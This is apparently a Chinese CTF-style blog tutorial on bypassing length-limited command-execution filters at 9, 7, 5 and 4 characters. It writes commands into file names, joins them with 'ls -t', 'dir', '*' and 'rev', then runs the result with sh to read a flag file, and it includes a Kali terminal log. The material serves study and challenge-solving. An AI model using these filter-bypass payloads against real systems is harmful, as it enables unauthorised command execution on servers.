有长度限制的命令执行
长度9
大多数常用的命令长度都小于9,所有都可以直接执行
ls /
cat /flag....
长度7
cat /flag:这个命令长度为8,那么正常的命令是执行不了的。
我们可以通过把命令写入到文件名里面,从而通过创建多个文件,把含有命令的文件名写入到一个文件中,再去执行这个文件,就可以执行我们的命令
linux中可以用\使指令连接下一行,这样就可以写多行命令了
文件中前面命令出错,会自动跳过,不影响后面命令的执行
以用sh,bash,source, .来执行一个脚本。
两个\,是因为要转义,不然的话就会认为是当前的命令会连接下一行了:
/*代表所有目录和所有文件
./*代表当前目录所有目录文件
例如:mkdir a#创建a目录
#: >a
#: >mkdir\ \\
#: ls -t >3 把目录下的文件名按照创建时间写入到文件3中
#: sh 3 可以利用source ,bash执行脚本文件
例如:echo Y2F0IC9mbGFn|base64 -d>feng
#:>eng\\
#:>\>f\\
#:>-d\\ abcd
#:>4\ \\
#:>se6\\
#:>ba\\
#:>n\|\\
#:>GF\\
#:>9mb\\
#:>IC\\
#:>F0\\
#:>Y2\\
#:>o\ \\
#:>ech\\
#:ls -t>0
#:sh 0
长度5
与7长度相比,5长度了 ls -t>1命令用不了,所以目的就是构造出这个命令
#:>s\\
#: >l\\
#: >\>0
#: >\ -t\\
#:ls>a
#: ls
'>0' 'l\' 's\' ' -t\' 输入的字符排列是按字符顺序排列的,所有可以通过>>覆盖输入两次ls
#:ls>>a
>0
a
l\
s\
-t\
>0 //这样就构造出ls -t>0
a
l\
s\
-t\
#: sh 0
长度4
由于ls>>a长度是五所以不能追加构造
dir:虽然基本上和 ls 一样,但有两个好处,一是开头字母是d ,这使得它在 字母 序中靠前,二是按列输出,不换行。
*:相当于$(dir *),所以说如果文件名如果是命令的话就会返回执行的结果,之后的作为参数传入.
rev:可以反转文件每一行的内容。
因为字符限制为4,ls>>?命令不能使用了,可以使用rev命令进行逆序。ls -t>g这个命令逆序也不能实现,因为t在字典序中是比s大。如果是逆序的话,需要一个比s小的字母。在ls中有个参数-h,它与-l一起使用,使输出更加具有可读性。与其他参数一起则没有影响。因此可以构造ls -th>g
#:>dir
#:>sl
#:>g\>
#: >ht-
#: ls
dir g> ht- sl // 系统排序是按字母表顺序排的,所有顺序是可以知道的
#: *
g> ht- sl //*的作用就是把列出的第一个文件名做命令
#: *>v
#: >rev
#:*v>x //*v
#: sh x
┌──(kali㉿kali)-[~/test]
└─$ >dir
^C
┌──(kali㉿kali)-[~/test]
└─$ >sl 130 ⨯
^C
┌──(kali㉿kali)-[~/test]
└─$ >g\>
130 ⨯
^C
┌──(kali㉿kali)-[~/test]
└─$ >ht- 130 ⨯
^C
┌──(kali㉿kali)-[~/test]
└─$ ls 130 ⨯
dir 'g>' ht- sl
┌──(kali㉿kali)-[~/test]
└─$ *
g> ht- sl
┌──(kali㉿kali)-[~/test]
└─$ *>v
┌──(kali㉿kali)-[~/test]
└─$ cat v
g> ht- sl
┌──(kali㉿kali)-[~/test]
└─$ >rev
^C
┌──(kali㉿kali)-[~/test]
└─$ *v>x 130 ⨯
┌──(kali㉿kali)-[~/test]
└─$ cat x
ls -th >g
┌──(kali㉿kali)-[~/test]
└─$ sh x
┌──(kali㉿kali)-[~/test]
└─$ cat g
g
x
rev
v
ht-
g>
sl
dir
┌──(kali㉿kali)-[~/test]
└─$ *v
ls -th >g
┌──(kali㉿kali)-[~/test]
└─$ *
g g> ht- rev sl v x
┌──(kali㉿kali)-[~/test]
└─$ ls
dir g 'g>' ht- rev sl v x
┌──(kali㉿kali)-[~/test]
└─$ sS
标签:限制,kali,ht,命令,ls,sl,test,长度
From: https://www.cnblogs.com/GTL-JU/p/16831572.html